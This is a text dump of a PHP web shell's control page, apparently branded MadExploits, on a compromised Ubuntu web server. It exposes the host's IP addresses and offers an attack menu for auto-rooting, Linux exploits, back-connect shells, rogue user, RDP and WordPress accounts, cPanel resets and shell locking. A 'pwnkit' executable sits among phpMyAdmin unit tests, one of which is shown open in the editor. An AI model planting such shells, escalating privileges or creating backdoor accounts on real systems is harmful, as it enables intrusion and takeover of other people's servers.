Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.188.80.46
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ForeignKeyTest.php
3.85
KB
-rw-r--r--
FormatConverterTest.php
3.45
KB
-rw-r--r--
GisTest.php
5.29
KB
-rw-r--r--
HttpRequestTest.php
6.92
KB
-rw-r--r--
SessionCacheTest.php
3.48
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ForeignKeyTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Utils; use PhpMyAdmin\Config; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Tests\AbstractTestCase; use PhpMyAdmin\Utils\ForeignKey; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\Attributes\DataProvider; #[CoversClass(ForeignKey::class)] class ForeignKeyTest extends AbstractTestCase { protected function setUp(): void { parent::setUp(); DatabaseInterface::$instance = $this->createDatabaseInterface(); } /** * foreign key supported test * * @param string $a Engine * @param bool $e Expected Value */ #[DataProvider('providerIsSupported')] public function testIsSupported(string $a, bool $e): void { self::assertSame( $e, ForeignKey::isSupported($a), ); } /** * data provider for foreign key supported test * * @return mixed[] */ public static function providerIsSupported(): array { return [['MyISAM', false], ['innodb', true], ['pBxT', true], ['ndb', true]]; } public function testIsCheckEnabled(): void { $config = Config::getInstance(); $config->settings['DefaultForeignKeyChecks'] = 'enable'; self::assertTrue( ForeignKey::isCheckEnabled(), ); $config->settings['DefaultForeignKeyChecks'] = 'disable'; self::assertFalse( ForeignKey::isCheckEnabled(), ); $config->settings['DefaultForeignKeyChecks'] = 'default'; self::assertTrue( ForeignKey::isCheckEnabled(), ); } /** @return mixed[][] */ public static function providerCheckInit(): array { return [['', 'OFF'], ['0', 'OFF'], ['1', 'ON']]; } #[DataProvider('providerCheckInit')] public function testHandleDisableCheckInit(string $checksValue, string $setVariableParam): void { $dbi = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->getMock(); DatabaseInterface::$instance = $dbi; $_REQUEST['fk_checks'] = $checksValue; $dbi->expects(self::once()) ->method('getVariable') ->willReturn('ON'); $dbi->expects(self::once()) ->method('setVariable') ->with('FOREIGN_KEY_CHECKS', $setVariableParam) ->willReturn(true); self::assertTrue(ForeignKey::handleDisableCheckInit()); } #[DataProvider('providerCheckInit')] public function testHandleDisableCheckInitVarFalse(string $checksValue, string $setVariableParam): void { $dbi = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->getMock(); DatabaseInterface::$instance = $dbi; $_REQUEST['fk_checks'] = $checksValue; $dbi->expects(self::once()) ->method('getVariable') ->willReturn('OFF'); $dbi->expects(self::once()) ->method('setVariable') ->with('FOREIGN_KEY_CHECKS', $setVariableParam) ->willReturn(true); self::assertFalse(ForeignKey::handleDisableCheckInit()); } /** @return mixed[][] */ public static function providerCheckCleanup(): array { return [[true, 'ON'], [false, 'OFF']]; } #[DataProvider('providerCheckCleanup')] public function testHandleDisableCheckCleanup(bool $checkValue, string $setVariableParam): void { $dbi = $this->getMockBuilder(DatabaseInterface::class) ->disableOriginalConstructor() ->getMock(); DatabaseInterface::$instance = $dbi; $dbi->expects(self::once()) ->method('setVariable') ->with('FOREIGN_KEY_CHECKS', $setVariableParam) ->willReturn(true); ForeignKey::handleDisableCheckCleanup($checkValue); } }
Close